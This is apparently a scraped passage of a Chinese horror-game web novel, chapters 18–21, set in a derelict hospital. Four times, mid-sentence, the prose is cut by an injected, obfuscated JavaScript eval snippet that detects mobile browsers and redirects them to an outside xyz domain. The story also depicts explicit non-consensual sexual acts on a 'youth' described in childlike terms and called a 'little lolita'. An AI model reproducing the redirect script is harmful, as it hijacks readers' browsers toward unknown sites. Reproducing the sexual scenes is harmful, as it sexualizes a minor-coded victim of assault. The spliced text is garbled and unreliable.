“……政府医疗部发言人称,这种特殊病毒针剂正在尝试推行,目前第一批志愿者已经到位,该公益计划命名为‘瓦多健康计划’。” 傅时越说:“瓦多是阿伽门农选的名字。推行计划之初,就是在这所医院试点。” 提到阿伽门农,他不动声色地皱了下眉头。 海报上也有阿伽门农的照片。一身军装的男人绷紧唇线坐在一众高官政要的最前面,就算画面因为时间太久而模糊不清,也能感受到那在人群里近乎突兀的英俊威严。 那时候他已经有三十岁了吧。 低头一看,罗荔也在盯着那张照片瞧。小漂亮的眼睛亮亮的,趴在海报前很仔细地看,模样十分认真。 不管想不想承认,阿伽门农对他而言,肯定是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15733209|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个不一样的存在。 他难道喜欢这种不苟言笑的老男人? 不。不可能。阿伽门农打了一辈子仗,从来没人敢把他和情爱挂钩,那种人是不可能懂罗荔的心思的。 傅时越眸光暗下来,揽住罗荔的腰,将他强行抱走。 罗荔在心里嘀咕,干嘛走那么快,他还没读完海报上的字呢。 走廊曲折弯绕,越走越让他犯迷糊,腿也有点酸了。 好想休息哦。 但是不行。万一让别人先找到瓦多,那就不好啦! 也不知道那些人现在找到哪里了…… “荔荔,你累了吗?” 傅时越握住他的小手,“那边有休息的地方,要不要坐一下?” 大厅比医院其他地方的陈设要豪华舒适许多,就算是外围也不例外,拐角处正好就是一间vip休息室。 罗荔眼前一亮,点了点头。 傅时越将他放在柔软的沙发上,听见少年的肚子咕咕叫了起来。 “我还有很多积分,你想吃什么?什么都可以。” 罗荔眨眨眼,脑中一瞬间已经想到很多种好吃的,正要狮子大开口,却听007提醒:“你最好不要吃玩家给的东西。” 对哦。要是对方给他吃了什么不该吃的就麻烦了。 于是忍下饥肠辘辘:“算了,我现在不想吃。” 傅时越脸上浮现出担忧:“把身体饿坏了就不好了。要不然……那边有自动贩卖机,买点能量饮料补充一下?” 罗荔瞄了一眼他指的方向。既然是医院自己的贩卖机,应该没关系吧? “好吧,那你去给我买。” 傅时越这才一笑,叮嘱他在休息室里乖乖的,自己马上就回来。 房门关紧,罗荔趴在沙发上打起滚。 休息室虽然豪华,可毕竟整座医院都已经老旧不堪,这里也已经没有多么隔音了。罗荔能听见外面钝钝的脚步声,夹杂一些交谈声音。 “……你确定痕迹是通向这边的?前面可是个死角。” “不是还有间休息室吗?进去看看不就知道了。” “我记得瓦多体型巨大,一个休息室,不可能容得下祂吧。” 罗荔心尖一动。 这声音…… 好像是凌屿他们! 他们要往这里来? 罗荔一下子慌了。眼看说话声越来越近,好像马上就到门前。 逃出房间已经来不及了,得想办法藏起来才行。 他回过头,看见房间尽头还有一扇小门,上面有卫生间的标志。 来不及想更多了,罗荔赶紧钻了进去,随后把门反锁。 这休息室的卫生间也很豪华,大小快赶上单独的一间病房了。只是只有进门处的一盏灯是完好的,再往里则一片漆黑。 罗荔不敢继续走了,在洗手台前停了下来。 面前是一面镜子。在这种环境下照镜子总有些发怵,他连忙移开目光。 可就在这一刹那,余光仿佛瞥见了身后的一个古怪身影。 昏暗的灯光下,只能看见那人模糊的衣着。 好像是……很陈旧的,像是工地上的人才会穿的衣服。 总感觉在哪里见过。 水龙头中滴落一滴水,落在罗荔的手背上。 他猛然清醒了过来。 对了。 这样的打扮,不是孟虎吗? 18.018 罗荔瞬间汗毛倒竖。 再回头时,那个人影已经不见了,镜中只有他因为恐惧而骤然苍白的小脸。 莫名的,周围的环境也变得不对劲起来,卫生间深处原本漆黑一团的地方,现在好像更黑了。那些黑色像是有生命一样,以一种诡异的姿势蠕动着。 而等他揉一揉眼睛,那种蠕动又停止了。 是错觉吗? 脑海中还在闪回着刚刚在镜中看到的身影。深蓝色的外衫,貌似还有一件陈旧的外套,与记忆中孟虎的穿着十分相似。 与此同时,门外也传来那几个人的声音。 “我就说不可能在这儿吧。迷宫还没走出去,瓦多怎么会跑到外围来。” “为什么不会?”说话的是凌屿,“任务说的是‘走出迷宫,找到瓦多’。又不是‘走出迷宫后,找到瓦多’。你怎么会觉得这是一件任务,而不是并列的两件事?” 康驯一顿,“靠,玩文字游戏?不至于这么阴吧。” 安德烈说:“如果是这样,那排查的难度未免太大了。迷宫四通八达,瓦多可以藏在任何地方……康,你在想什么?” 康驯抬头:“说起来,你们还记不记得孟虎?” 他们已经在刚刚交换过情报,现在应该展开进一步的思考了。 康驯拿出那把锉刀。 “那家伙是被非人的东西杀死的。我本来有点怀疑是傅时越的能力,但现在想想,他拿着医生身份,想神不知鬼不觉地杀死一个病患,应该有更多更好的办法。” 凌屿眯起眸子:“你是说……瓦多?” 如果瓦多真的可以随意穿梭迷宫,那祂潜入二楼应该也很容易。 “但问题是,祂为什么偏偏杀了孟虎? 罗荔的小心脏提到了嗓子眼儿。 是啊。 孟虎早就被那个不知道是什么的怪物杀死了,怎么可能还会出现在这里? 所以,刚刚看到的人影,又是…… 柔软掌心贴着镜面,罗荔的指缝间已经出汗了。他不敢直视镜子,只能狠狠低头,目光对着鞋尖,想着这样就不会看见不想看见的东西。 地板上的瓷砖惨白发亮,能够隐约照出一点影子,看见他发抖的脚踝。 边缘的阴影像是要把这点光亮吞噬似的——好像又动了起来。 不。不是好像。 那阴影真的在动。 “笃——笃——” 脚步声靠近了。鞋跟踩在瓷砖上,发出低闷的声响。似乎是从那团阴影中走出,在往洗手台接近着。 莫大的恐惧悬于头顶,可在这种恐惧之下,罗荔偏偏不受控地转过身去。 身穿工装的男人,身体缠绕着浮动的黑雾,缓缓向他走来。 孟虎的眼睛被黑色占满,只有瞳孔泛起金光。民工本就体型魁梧,而此时的他满身肌肉偾张,身高几乎要顶上天花板,竟然比之前还要壮了一圈。 这、这人现在是有多高啊? 要超过一米九了吧? 罗荔的脑子里完全乱掉了,看见流动的黑气在孟虎的肌肉上蒸腾着,那双怪物一样的金色兽瞳俯视着他,像是在打量猎物。 瞳孔内的金光闪烁,受了什么触动似的。孟虎抬起手,右掌落在了罗荔肩头。 罗荔顿时僵住,双腿一下子软了。 “别杀我……呜……” 腰肢被男人环住,孟虎单臂把他抱了起来,让他与自己平视。 两人四目相对,罗荔能感受到对方缓慢沉重的吐息喷在自己的面颊上,烫得吓人。 离近了看,好像孟虎这张脸与从前有些变化。脖颈上黑纹蔓延,一张脸愈发英武,带来的压迫感也比那时候强烈得多。 他怎么还在盯着自己看…… 他想干什么? 孟虎越贴越近,大掌扣在他的腰窝上,随后,张开了干燥唇瓣。 粗糙湿热的舌头伸出来,点在了罗荔的唇珠上。 罗荔大惊,拼命扭头抗拒,而孟虎一把按住他的脖颈,舌尖舔舐起那粉软唇瓣。 香甜软腻的小嘴原本是紧紧抿着,但很快,就被他寻住缝隙,探入潮热口腔。 少年整个人都是小小的,嘴巴也不例外,口腔短窄湿紧,很容易就能吮到那湿答答的粉舌,一点空隙都找不出来。 耳边则充斥着他挣扎时溢出的喘息,嗓子里掺了水儿,嫩得叫人心弦大乱。 大约是因为呼吸不畅,那张巴掌小脸很快就熏出红晕,水杏眼难受得弯起来,委屈得要哭。 孟虎松开他一瞬,短暂换气后,再度深吻。 他的臂力惊人,抱了那么久,居然完全没有疲惫的征兆。罗荔根本没有挣脱的可能,神智也在这要命的深吻下变得不清醒,连孟虎逐渐异常地撞动起腰肢都没有察觉。 直到“啪嗒”一声,有什么东西掉在了地上。 罗荔垂下目光,看见一颗亮晶晶的纽扣落在瓷砖上。 随后,听见了很清晰的、拉链被顶开的声音。 孟虎缓慢地松开他的唇瓣,两人的舌尖扯出一条晶莹的水丝。 罗荔满脸薄红,全身脱力地伏在他的肩头,眼前水雾弥漫,恍惚间,发现孟虎的裤腰带松了。 是他的扣子被崩掉了。 罗荔懵懵的,不明白这是发生了什么。 孟虎还是用那种异常炽热的目光注视着他,随后,腾出了一只手。 往着他秾丽精致的、柔软动人的脸,咬紧牙关,从鼻腔里发出浓重闷哼。 罗荔发现他的手臂肌肉一下子绷紧了,小臂上下振动,身体也开始有规律地震晃起来。 嘴里好像还含混不清地重复着几个音节。 声音嘶哑得不像话。 007忽然开口:“闭眼。” 见罗荔还处于茫然状态,加大了音量,斥道:“闭眼!” 罗荔浑身一抖,把眼睛闭上了。 耳边只剩下孟虎低沉的昵语,唇瓣贴着他的耳垂,黏糊吮吸。 …… “有情况。” 安德烈在卫生间的门前停下,仔细地听。 他用手势示意康驯和凌屿先不要上前,掌心贴在门板上,感受到一股异样的热。 好像有什么东西把门堵死了,声音都压了下去,什么也听不见。 他正要拧动门把,却在这时候,听见了响声。 水流声。 确切的说,是水流冲击马桶壁的声音,有力且清晰,好一会儿才停下。 随后,门板上的温度也褪去了。门把手一下子松动,紧锁的门居然就这么打开了。 三人打开灯,齐齐愣住。 卫生间内空无一人,连片衣角也没有。只有洗手台前的水龙头滴滴答答地淌着水流,好像是谁刚刚用过,但是因为急切或者其他某种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738149|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪,没来得及关好,就抛下不管了。 而且,整个卫生间里,都弥漫着一股异样味道。 三人不约而同地看向了马桶,还有地板瓷砖。那里都有着同样的类似痕迹,像是兴奋又畅快到极点,才会不管不顾地弄出这斑斑驳驳。 他们都是成年男人,对此再清楚不过。 安德烈先行恢复清醒,打着手电筒走向角落。他在那里看见了之前的印记,是瓦多待过的地方才会留下的。 “看样子,祂来过这里,而且刚刚离开不久。” 凌屿慢慢扭过头来,忽然吐出一句意味不明的话。 “如果瓦多是杀害孟虎的凶手,那祂是不是应该知道,孟虎死前干过什么。” “同样的,你们觉得,祂会不会学习?” 安德烈蹙眉:“孟虎死前干什么了?” 康驯表情变得有些微妙,在二人目光的注视下,半天才开口:“……打飞机。” “想着那个小护士的脸,打出来。” 没文化又粗鄙的民工,在这种事上毫不避讳,在进到那间卫生间之前,像说笑话一样告诉了康驯。 瓦多会不会学习? 如果会,祂又是为什么,要在这里做这种事? 气氛陡然变得不对劲,几人面面相觑着把门关上。 安德烈沉默片刻,“我们不如还是分头行动,这样聚在一起找,太慢了。” 康驯和凌屿也默许了这个建议。 而在他们转身的时候,休息室的门被打开了。 傅时越拿着能量饮料,另一只手里化出一支步枪。 “荔荔呢?” …… 窗外暴雨倾盆。 轰鸣的雷声翻滚,闪电击碎云层,在巨大的落地窗前劈下一条条叫人胆寒的光。 怀中少年瑟瑟发抖着,整个人都被祂抱在怀里。干净的丝袜上沾了些脏污,他难堪地扯着后裙摆,想要遮住那些污渍。 始作俑者的眼神依旧灼热,托着他的小屁股,小心地将他放在椅子上。 祂走过的地方都留下了焦黑痕迹,罗荔已经确信,这东西绝不是孟虎。 虽然和孟虎一样,粗鲁、莽撞、力气还大得离谱。 但祂身上没有玩家的提示……要么NPC,要么,是boss。 罗荔细声问:“你、你到底是谁……” 其实没抱什么希望,毕竟这东西能不能听懂还是两说。 却见祂在自己身边坐下,喉咙里断续发声。 “瓦……多。” “名字。是。” 瓦多?! 罗荔傻眼了。不是说污染源吗?怎么长得人模人样的……难道瓦多不应该是一个特大号的病毒吗? 现在看来,这家伙好像只满足“特大号”。 对、对了,还要从祂身上拿钥匙才行。 罗荔想起自己的进阶技能。既然瓦多是boss,那应该是可以使用的。 只要能让祂听话,就能拿到钥匙了吧。 他有些没底地抬起手,想要使用技能。 瓦多的眼睛闪了闪,忽然俯下身,靠近他。 然后,很熟练的,把自己的脑袋,放在那只软绵白嫩的小手下。 ……像条求抚摸的大狗似的,用头蹭了蹭他的掌心。 罗荔完全傻掉。 他不是还没用技能呢吗?! 19.019 “你是……占用了孟虎的身体吗?” 罗荔很别扭,想把手拿下来,可是刚刚挪开一点,瓦多便又把头蹭了上来。 没奈何,只能象征性地摸了两下。男人唇线绷紧,依旧是那种凶悍的压迫感,可眼底的雀跃却怎么藏也藏不住了。 “脸。”祂说,“用了,脸。” 一番艰难沟通后,明白了瓦多的意思。 祂想用罗荔能够接受的模样与他相见,但是能够使用的样貌太少,所以选择了死去的孟虎。 只是这技术还很生涩,所以虽然是孟虎的模样,可也有些差异。 “所以,是你杀了孟虎?” 瓦多一怔,松松抱着他的腰,点了点头:“他对你有,心思,脏的。” 罗荔感觉很不舒服:“那也没必要杀了他吧!再说,你自己也……” 这家伙的心思也没有干净到哪里去。 “这里,本就……死人。”瓦多见他语气不好,自己也着急辩解,“死掉……离开,正常。” 007好像也说过类似的话。 不同平行宇宙的人们,在死去后来到这个游戏,赚取积分,获得重生的资格。游戏里死掉,也只是回归现实的死亡状态而已。 瓦多和他一样,站在了玩家对立的阵营,祂自己也无法选择。 男人用掌心捧起他白嫩的脸蛋,“不要生我气。好吗?” 这句话倒是说得挺流利的。罗荔的声音软了下来:“那你以后不许这样,要听我的话才行。” 瓦多用力点头。 见祂这个模样,罗荔也大胆了些:“既然你愿意听话,那,能不能把钥匙给我?” “就是……打开顶层大门的那把钥匙。” 瓦多犹疑了一下:“你要,回去?找……院长?” 罗荔没太明白他的意思,顺着话头道:“嗯,他不是消失很久了吗?我想去顶楼看看,也许会有线索。” “没有,消失!”瓦多的语气一下变得异常激动,“他是……恶魔。不要去。他……” 祂极力压制着某种将要爆发的情绪,“他会把你关起来。” 瓦多有限的表达能力无法解释更多,只是重复着不要去。 罗荔却只觉得不明所以。你自己不就是恶魔嘛?说这种话好奇怪哦。 “不一样!”瓦多急了,“他,要你一直,在那里。所有人,都不能接近。” 话音刚落,罗荔面前弹出了新的提示框。 【当前身份探索进度:80%】 【新线索:院长的控制欲】 【曾经的医院顶楼,是你与阿伽门农先生共同生活的乐园。在你面前,他克制而宠爱,尊重你的一切。】 【当然,这一切似乎只是表面现象】 007提醒他:“获得新的积分,可以购买收纳道具了。” 罗荔赶紧在心里说:“要买要买。” 等回过神来,瓦多还在望着他。 罗荔鼓起勇气,凶巴巴道:“你说要听我话的,连钥匙都不给我吗?” 他站起身来,佯装要走,“既然这样,我不理你了。” “不行!” 瓦多赶紧追上,拉住他的手。看见小美人不高兴地抬起眸子,脸颊肉气鼓鼓的,柔粉唇瓣撅起来,很有气势地瞪着他。 瓦多一下子就被可爱晕了,声音都有些虚浮:“好,给、给你。不要生气。” 罗荔朝大厅里面努努嘴,叉着小腰,示意祂带路。 瓦多支愣起来,摇着狗尾巴走在前面,打开了最内层的大厅大门。 罗荔在心里跟007说:“噗,祂真的好像带路的小狗哦。” 007沉默着,半天才说:“没骨气的boss,像只软脚虾一样,有什么大不了的。” 这系统说话真是越来越难听了。罗荔哼了一声:“那又怎么样,反正比小七你好多了。” 大厅内寂静无声,尽头处,放了一个精美的礼品盒。 瓦多交给罗荔,打开后,小美人的眼睛一下子亮了。 “哇,兔兔!” 里面是个黑色的兔子布偶,洗的很干净,还带着香味。罗荔一下子把脸蛋埋进了兔子胸膛,爱不释手地蹭蹭,然后感觉碰到了一个冰凉的东西。 布偶脖子上挂着的,正是那把金光闪闪的钥匙。 拿到了! 【任务四,已完成】 【正在结算积分……】 机械提示音未落,瓦多忽然像是察觉了什么,神色变得警惕起来。 罗荔一下子被黑雾所包裹,视线浸入漆黑。他还游离在状况外,只能紧紧抱住怀中布偶,听见瓦多说:“玩家,找来了。” 他被黑雾裹挟着,不知道该继续往哪个方向走。慌乱之中,拽住了瓦多的衣角。 他们得在玩家赶来之前躲起来才行,但是瓦多作为限定在副本特殊地点的boss,不能随意走动,为数不多能选择的地方,也就是大厅附近的一些病房。 瓦多正思考着对策,就在这时候,听见了一阵脚步声。换班的护士正在往几间病房内走,看样子,今晚的查房时间又到了。 “那个……”罗荔没什么底气地提议道,“如果咱们混进去,是不是有可能不被发现?” 瓦多疑惑地重复了一遍:“咱们?” “对呀。你假装成病人,我来混进这个换班护士的队伍里。” 他想起来那天自己查房时的情景,在查房的时候,应该是不许其他病患擅自闯入的。 而且这儿有这么多护士NPC,其他几名玩家要是想做点什么,考虑到有这么多双眼睛盯着,也得束手束脚。 只要伪装得好,撑过这段时间,应该就没问题了。 瓦多觉得这个方法可行。 “好。” 祂不知使了什么障眼法,转瞬之间,二人已经从刚才的大厅转移到了病房前。 瓦多先收敛起周身的雾气,褪去怪物的外形,推开一间病房的门走了进去。 另一边,罗荔戴好口罩,把护士帽的帽檐压低,跟在换班护士的队伍最后头,一间间推开门检查。 这时候才注意到墙上的标识,表明这里是精神科的病房。 一个护士站在门口,奇怪道:“哎?我记得这间的病人不是已经转移到二楼了吗?怎么现在这里面还有人?” 糟了,要被发现异常了。 罗荔刚想找个理由搪塞过去,就被另一名护士开口打断:“这有什么奇怪,这些得了精神病的,稍不留神就各个房间乱窜。别管了,去看他一眼,没问题就下一间吧。” 罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743504|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荔连忙自告奋勇:“我去吧。” 真没想到能这么顺利。罗荔推开门,蹑手蹑脚地走进去。 床上的病人侧躺着,房间里黑漆漆的,没有开灯。罗荔一时心跳加速,凑到病床边,小声呼唤:“我来了,你还好吗?” 他不能在这里停留很久,不然其他护士会怀疑的。 但是他又有点不放心,毕竟瓦多看起来心智还不成熟,冲动鲁莽,有时候又像个小孩儿。 “我等下还得和护士们一起离开,你乖乖在这儿等着,等我处理好了康驯他们的事,就回来找你。” 想了想,又像安抚一样,补上一句,“要是我一直不回来,你也别急着找我。我心里一直惦记着你,不会抛下你不管的。” 这样再三叮嘱后,好像才稍稍安心了一些。 罗荔抬起手,想摸摸瓦多的头,“我走了。” 但是他的掌心还没来得及碰到瓦多的脑袋,就被对方拽住了纤瘦手腕,往怀里一带。 强烈的男性气息瞬间将小护士包裹,他软绵绵的腮肉抵在对方坚硬结实的胸膛上,听见一阵稳健而有力的心跳声。 嗯…… 瓦多还真像个小孩子。 是分别前在向他讨要一个抱抱吗? 罗荔抬起藕臂,顺势环住了男人的脖颈,支起小身子,窝进他的怀里。 那就给他抱一下好了。 伸手不见五指的病房内,只能听见耳边浑浊绵长的呼吸声。 一只带着热意的大掌扶在他的后腰,指骨轻轻划过他浅浅的脊线。 指腹时不时打着圈按动一下,像是在……把玩一样。 唇瓣贴合着他的颈肉,罗荔听见了深呼吸的声音,像是在深深嗅闻他身上的气味。 他感觉有些羞耻,想要推开这家伙。可是身体完全被他的臂弯束缚,手指撑在对方的胸膛上,不自在地轻轻推开。 这时候才感觉有些不对劲。 瓦多身上本来穿着一件工装,但是这个人现在,是赤.裸着上身的。 他就算要躲到这里来,也没必要把外衣脱了吧。 罗荔的心尖一颤,他脑子里有些空白。 而对方偏过头来,裹着热气的唇瓣在他的嘴角蹭了一下。 如果只是蹭,还能理解为是不小心的。 可是罗荔明显感觉到,有什么潮湿黏热的东西擦过自己的唇肉,温度滚烫,带着水意。 这家伙……伸了舌头。 还不是一点点舌尖,是像动物一样,伸出舌头,在他绷紧的嘴角挑逗似的舔了一下。 罗荔顿时毛骨悚然。 床上这个人,真的是瓦多吗? 如果不是,那就是一个陌生的精神病患者,在这里对他又抱又舔。 身上还很可能没有穿衣服。 思绪混乱之间,一个有些熟悉的低笑在他耳边响起。 “这是今晚的特殊治疗吗,护士小姐?” 这不是瓦多的声音。 罗荔慌忙要挣脱开来,却听见“啪”的一声,是台灯打开的声音。 一张之前见过的,硬朗英俊的异国面孔出现在灯光下,极其清晰的,倒映在罗荔幼圆漆黑的瞳孔中。 罗荔只觉得从头到脚都要石化了。 “……安德烈?!” 20.020 他猛地推开了身前青年,险些跌下病床,又被安德烈眼疾手快地搂住了腰肢。 罗荔的嗓音都是抖的:“你、你怎么会在这儿?” “这话应该我问你才对,甜心。” 安德烈看上去很轻松的样子,指骨在他的鼻尖轻轻刮了一下,示意他放松,“这是我以前的病房,回来找点东西而已。你呢?你怎么从小黑屋跑出来了?” “我是……是……” 罗荔舌头打结,根本不知道该怎么解释,“本来,我就是要工作的嘛,还能、一直被你们关着。” “原来是工作。” 安德烈了然地勾起一个笑。 低头嗅了一下领口,只是刚刚被小护士抱了一小会儿,上面就已经沾染上不少清甜香气。 从小黑屋里逃掉,深夜前来,说了那么暧昧的话,还愿意投怀送抱。 是惦记着做什么工作呢? 罗荔胆战心惊地跪在病床上,垂着目光不敢看他。 青年上半身光.裸着,橄榄色的肌肉块垒分明,下半身则被一条被子遮住。 “你、把衣服穿上!” 安德烈很无辜地望着他,指了指旁边椅子上湿透的T恤。 “来的时候淋了雨,我才脱掉的。” 窗外雷声隆隆,不知什么时候下起的瓢泼大雨。想起这荒废医院到处漏风的残损门窗,下这么大的雨,不被淋湿才奇怪。 罗荔只能暗暗怪自己多想,神色镇定了一些,把捂着眼睛的小手放了下来。 看着安德烈走到床下,拉开了一条帘子。 帘后,拿走了孟虎相貌的瓦多,不知道被什么道具所束缚,被捆在另一张床上,整个人动弹不得。 “这人刚刚闯进来,吓了我一跳。甜心,你是来找他的吗?” 安德烈之前住203,他没亲眼见过孟虎,所以现在,应该还没有察觉到祂就是瓦多。 不能让他看出瓦多的身份。 “不,不是。” 罗荔只能结结巴巴地撒谎,“我走错房间了。不认识他。” 他不敢看瓦多的眼睛,而在安德烈眼里,那个被自己束缚起来的高大汉子,在听到这句话的时候,身体明显颤抖了一下。 这种反应,不可能不认识。 而在瓦多自己眼中,的确是倒了大霉。祂是副本高级boss,就算这间病房里本来有病患,但以祂的本事,对付一个病患NPC易如反掌。 但是怎么也没有想到,居然会有一名玩家在这里,还配备着高阶道具。 这些倒是都无关紧要。 关键是,这个混蛋,居然敢伸舌头,舔了荔荔的小嘴! 灯光下,小护士湿红的唇肉上,沾着一层叫人无法移开视线的水光。 假如再晚一点,还会发生什么,谁都无法预料。 而罗荔现在居然说不认识自己。 安德烈的目光从瓦多身上掠过,“原来是这样。看来是我搞错了。” 他收回道具,眼看就要离开病房,可罗荔还站在原地没动,仔细一瞧,原来是被那汉子拽住了裙角。 罗荔使劲向瓦多使眼色,可惜这傻瓜怪物根本没理解他的意思,指尖还勾着他的裙边不放。 他只能咬着唇珠,佯装生气道:“都说了,不认识你。快点放开。” 安德烈若有所思地喃喃:“说起来,你有见过什么怪异的生物吗,甜心?我顺着痕迹找来的,应该就是在这附近才对。” 罗荔的脊背不由自主地渗出一层薄汗。 正着急着,007在他耳边建议:“说点狠话吧,要不然瓦多不会罢休的。” 狠话…… 罗荔舌尖发麻,攥紧了指尖。 对着瓦多,颤颤开口:“别、别用你的脏手碰我。都说了不认识你了,我下辈子也不会喜欢一个工地上的穷鬼。快点……滚开。” 安德烈在不远处听着,蔚蓝眼瞳不动声色地眯起一些。 走到罗荔身边,环住了他窄薄的肩膀,“先生,这么做可一点都不绅士,快松手吧。” 瓦多定定地望着他。 情急之下,罗荔只好用了些力气,将裙角从他的指缝里拽了出来。 却不想这一拉一拽,短裙腰沿落下来一些。纯白柔软的内裤边缘,清晰地暴露在安德烈面前。 罗荔羞耻万分,赶紧把小裙子提好,捂着红透的脸颊跑了出去。 留安德烈一人,若有所思。 ……这个小护士,怎么裙子底下连条安全裤也不穿。 …… 安德烈与罗荔并排走在医院的走廊里。 他的目光落在小护士身上,看见他柔软长发下露出的,线条流畅的细嫩脖颈。 身体还没长开身体的东方男孩,每个地方都透着稚气。严格来讲,他和性感这个词毫不沾边,和安德烈见惯了的白女辣妹也完全不同。 按理说,他根本没有长在安德烈的审美点上。 但是…… 【拜托,谁要看这种扭扭捏捏、动不动就脸红的东方人啊,更何况还是个男的】 【东方人怎么了?白幼瘦宝宝多可爱】 【就是,而且这种东方小美人好多都是表面忸怩,实际上***】 【他和院长的那张照片我可还记得,对待有钱男人,自己就会掰开双腿了】 弹幕匿名,这些人口无遮拦,想说什么说什么。 但安德烈却不行,他知道罗荔现在心里肯定很戒备他。 果不其然,听见男孩小声说:“你刚刚,为什么要说那种话。”他为难地绕着自己的发尾,“特殊治疗……什么的。” 他觉得安德烈应该不知道那是什么意思。毕竟青年看起来不像是那么没有分寸的人,之前对他也很礼貌,肯定是有什么误会。 说不定,是有个当护士的女朋友,刚刚认错了,才会做那种事。 毕竟他看起来又帅又有钱,很会玩的样子,估计也不缺女友。 所以罗荔善解人意道:“就算,就算你女朋友是当护士的,也不能随便对人家说这种话,很不尊重,知道吗?” 安德烈愣了一下,“女朋友?” “对啊。你,你刚刚肯定是把我当成你的女朋友了吧。” 岂料金发青年粲然一笑,看起来更像条大金毛犬了,“我没有女朋友,你是不是误会了?我这二十三年都是单身。” 他摸了摸罗荔的小脑袋,“刚刚是想替你试探一下那个男人,毕竟,我感觉他对你心怀不轨,这样早点摆脱了他,不好吗?” 他贴心地弯下腰来,与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15746185|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗荔平视:“真抱歉,碰了一下你的嘴唇。但我不是故意的哦,只是象征性的,把戏做全。” 象征性…… 确实,他又没有强吻自己,只是舔了一下。 要是这么说,好像也……能说得过去。 罗荔的身体明显没那么紧绷了:“那……好吧。” 安德烈直起身子,挠了挠头发,“不过,老实说,甜心你长得真的太漂亮了,简直是个小小的lolita。如果不是知道你是个男生,我可能真想亲亲你。” 美国少爷直言不讳,直白得让罗荔一阵耳热。但他不能表现出来,只能生硬地扭过话题:“那你接下来要做什么?我,我可不能被康驯他们发现,我该走了。” 他其实还惦记着瓦多,总不能真的说走就走,只是想支开安德烈而已。 “他们现在忙着击杀瓦多,应该没有空闲来找你。”安德烈顿了顿,“你知道瓦多吗?祂就是这座医院里,那些怪物产生的源头。” 他让罗荔仔细听。 听见喑哑的、时断时续的枪声,从大厅的方向传来。 他走掉了,瓦多肯定会被其他玩家找到,杀死。 “甜心,你怎么这幅表情?瓦多是怪物,杀死怪物不是很正常的吗?”安德烈不解地揉了揉他的脸蛋,“好了,别害怕,我会陪着你的。” 罗荔喃喃:“才不要……” 安德烈没听清:“什么?” “我才不要!” 男孩忽然将他推开,迈开步子,头也不回地往大厅方向跑了回去。 窗户全都碎了,雷声轰隆炸开,瓢泼大雨顺着裂隙洒进来,很快将他的长发和衣服打湿。 罗荔紧紧抱住自己的双臂,雨水模糊了他的视线,不知不觉已经迷失了方向。 空荡荡的漆黑大厅里全是碎玻璃,他的小皮鞋还跑丢了一只。 丝袜被玻璃渣割破了,血珠从足心渗了出来,在地板上留下斑斑血迹。 罗荔抬手摸了一把脸上的雨水,听着迭起的枪声和脚步声,突然很无力。 他怎么能把瓦多丢下,要祂一个人面对那么多恐怖的玩家。 他、他怎么能这么没用…… 脚上的疼痛一阵阵传来,罗荔鼻尖酸楚,轻轻啜泣起来。 他跑不动了。 也看不见瓦多现在在哪里。 照这样下去,辛苦拿来的钥匙也会被玩家抢走吧…… 到底该怎么办…… 泪珠落在地板上,罗荔丧气地垂着脑袋,却在这时,听见缓慢持重的脚步声。 戴着黑色皮革制式手套的大掌抬起来,在他淌着泪水的脸颊上轻轻拭过。 罗荔茫然抬头,雷光闪过刹那,看清面前男人的身影。 他穿着纯黑的笔挺军装,整个人异常高大魁梧,和瓦多那种怪物相比也不遑多让。 他挡住了窗外淋下的暴雨,雨滴从他棱角分明的下颌上滑落,滴到胸前闪烁的军徽上。 男人单手搂住罗荔的腰,将他抱了起来。 而他另一只手里,竟然捏着罗荔跑丢的小皮鞋。 罗荔坐在他的臂弯上,浑身僵硬,不知道此刻震惊和害怕哪个更多些。 军官,院长…… 养父。 难道…… 21.021 罗荔愣愣地坐在他的怀里,看着对方脱下皮革手套,摘掉了自己的领带。 不知他用了什么手段,居然听不见外面的嘈杂声了。只有隐约的雷雨阵阵,四周安静得出奇。 男人简单处理了一下他的伤口,用黑色领带在他受伤的脚丫上打了个结,然后小心地穿上那只小皮鞋。 